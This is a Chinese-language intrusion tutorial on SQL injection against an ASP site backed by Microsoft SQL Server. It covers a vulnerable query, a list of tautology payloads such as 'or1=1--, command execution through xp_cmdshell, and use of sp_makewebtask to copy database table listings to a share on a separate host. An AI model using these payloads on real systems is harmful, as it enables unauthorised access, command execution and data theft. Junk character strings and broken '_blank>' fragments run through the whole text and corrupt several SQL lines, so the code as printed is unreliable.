黑客SQL服务器入侵实战演习(二)

3.1为什么使用的是'or1=1--呢? ' f. }+ o1 `* I+ ^

/ q3 E5 l9 B! k' C5 R  让我们来看看其他例子中使用'or1=1--的重要性吧。有别于正常的登陆方式,使用这样的登陆方式可能得到正常登陆中不能得到的某些特殊信息。用一个链接中得到的ASP页来打比方:
# {* ~* y+ V/ l( K4 p
5 D- y$ _; R( D   c3 p  http://duck/index.asp?category=food
, Q6 Z# W/ `/ @2 W) c
; P, R! o( d: `0 K  在上面这条URL中,'category'是一个变量名,而'food'是赋予该变量的值。为了做到这些(链接成功),
( d   n+ D! ~1 I
: Z3 \& i/ }# |% c  这个ASP必须包含以下相关的代码(下面也是我们为了演示这个实验所写的代码):
% D2 E% J9 O- @ 6 u$ ~6 \( o: d/ E! s$ T
  v_cat=request("category") ) o' O1 n+ n8 |6 y+ G
6 K0 x" U/ i* C. j6 w3 [
  sqlstr="SELECT*F_blank>ROMproductWHEREPCategory='"&v_cat&"'" + X% g9 Z   I4 P% W% J
! l/ f# p   q* y$ t/ e% `9 p
  setrs=conn.execute(sqlstr) 0 B) e8 _, Z* o. E) }

5 T' O. H2 F* C/ e! A  正如我们所看到的,变量值将会预先处理然后赋值于'v_cat',也就是说该SQL语句将会变为:
; u! H5 P$ Q3 C6 M5 [ 6 \9 p$ F& \" B3 H
  SELECT*FROMproductWHEREPCategory='food' & K* f5 j6 n2 I/ |6 G7 W

+ I   v$ _+ ?6 u  这个请求将会返回通过WHERE条件比较后得到的结果,在这个例子中也就是'food'了。现在设想一下如果 ; O) y* c. x$ W

1 q0 l; D- B& t/ _+ C  我们把该URL改成这样的话:
- n. L( S- L$ Q$ f2 r, m8 e7 g # n4 p* J0 Z5 X' u
  http://duck/index.asp?category=food'or1=1--
+ o. E/ W3 h( N   g ; z* A- x7 G' d% R1 w2 I$ _
  现在我们的变量v_cat的值就等同于"food'or1=1--"了,现在如果我们要重新代入那条SQL请求的话,
8 W. F$ t6 V   {/ t2 E 0 n8 X' g- }8 M6 d" @2 _
  那条SQL请求将会是: 0 w) X4 l$ _! b# n/ q
: S9 H/ e2 i! ^8 p& @/ |$ e
  SELECT*FROMproductWHEREPCategory='food'or1=1--' : W; v* |1 M" e! _$ ]- s
: ?3 e1 J* q. C4 I6 ^) @
  现在这个请求将会从product表中选取每一条信息而并不会去理会PCategory是否等于'food'。至于结尾部分的那两条'--'(破折号)则用于‘告诉'MSSQLSERVER忽略结尾最后的那个'(单引号)。有的时候也可以使用'#'(井号)来代替'--'(双破折号)在这里的用法。 9 C2 q5 U& v8 V0 U

* l. w4 u# p% a5 ^& o2 ?  无论如何,如果对方不是一台SQL_blank>(这里指的是MSSQLSERVER),或者你不能使用简单的方法去忽略最后的那个单引号的话,你可以尝试:
1 D0 n. U7 k7 ]: }
9 F$ S; A. C8 o# C' F- n3 x  'or'a'='a
4 S0 n2 g+ O# b/ F. ^ 9 m# c% z/ [7 [- G
  这样的话整个SQL请求将会变为:
* g5 U8 r0 N6 `6 z$ ^, d
3 t5 r; _- X( y$ h' b' w  SELECT*FROMproductWHEREPCategory='food'or'a'='a' 4 q( N3 N, [. b5 k0 @9 x
; U3 G   u( B. m3 ?+ U8 o3 |
  它也会返回相同的结果。 0 s4 ]% |3 p; p
3 ~& e) p5 g3 o9 h$ d
  根据实际情况,SQL注入请求是可以有多种动态变化的可能性的: 8 H7 Y8 C" v* g; Q1 x

. M- F! n0 C% n, q" \# H+ z  'or1=1-- 1 t$ i$ P3 {+ q
/ m5 N4 Q$ U' A* i2 @: E   b* k
  "or1=1--
; p1 ^: A! L. N# R0 N   C
9 Y- j- n# x! q  or1=1-- " e. v" Z5 \* O

# x6 ]( Q( {$ j3 w  'or'a'='a / J$ ?, ^   l( M3 C0 n" O* V

3 g8 S7 L* ^% m. I' ^* Y. Y  "or"a"="a
3 D0 J3 C6 C& d( ]! Y! I' a1 F
1 F$ t) s3 n, b9 x" L  ')or('a'='a
% |& \2 C! p( ?% c4.0如何在SQL注入请求中加入即时执行命令? 4 O0 X- \+ ^, c- y- Y5 Q0 Z3 N6 z* o
" ^* u& |   h* {# F$ Q
  能够进行SQL注入的_blank>通常都是一些疏于做系统性配置检查的机器,此时我们可以尝试使用SQL的命令执行请求。默认的MSSQL是运行在SYSTEM用户级别下的,这等同于系统管理员的执行与访问权限。我们可以使用MSSQLSERVER的扩展储存过程(如master..xp_cmdshell等)来执行远程系统的某些命令: $ [7 A9 q   t% L   X
0 I6 _" h, d; l; `1 {
  ';execmaster..xp_cmdshell'ping10.10.1.2'-- : M$ h& L6 V# f$ n5 u( ~( }5 \) K

! ^3 j( q# D/ L7 T+ S' I  若失败可以尝试一下使用"(双引号)代替'(单引号)。 : c$ J+ H* f5 g! l

6 A- V2 n+ _& N   S; [' C" O  上面例子中的第二个冒号代表一句SQL请求的结束(也代表了它后面紧跟着一条新SQL命令)。若要检验上面这条PING命令是否成功,你可以在10.10.1.2这台机器上_blank>监听ICMP请求包,并确认它是否来自那台SQL就可以了: $ x1 i, Q; c# J

/ a# I   `: W0 }1 @! f. o  #tcpdumpicmp
/ U: y1 f5 e; T# u+ r . V% y) q( G% |% t
  如果你不能从那台SQL中得到PING请求的话,并在SQL请求的返回值中得到错误信息的话,有可能是因为该SQL的管理员限制了WEB用户访问这些储存过程了。
* T. F2 \9 p1 L: ]! u& I, z* L. J , R! @4 W" t1 ?; o% M) e0 Z; h/ h! u
  5.0如何可以获取到我发的SQL请求的相关返回信息呢?
. J7 R1 b/ X0 t6 @3 _! N
) h) F7 r. w. C3 ~/ R3 h  我们可以使用sp_makewebtask处理过程的相关请求写入URL: : E* t, Y) O1 O; G5 k
# a! Q: ]& L. S: l7 e
  ';EXECmaster..sp_makewebtask"\\10.10.1.3\share\output.html","SELECT*F_blank>ROMINFORMATION
/ ]9 E( f5 K+ ^   |8 m : I+ [0 O; T( V5 t
  _SCHEMA.TABLES"
% B( K* K- d   k$ u! x 8 Y3 u! D" p   r   F# O; H# l
  但先决条件是目标主机的文件夹“share”属性必须设置为“Everyone”。

你可能感兴趣的:(sql)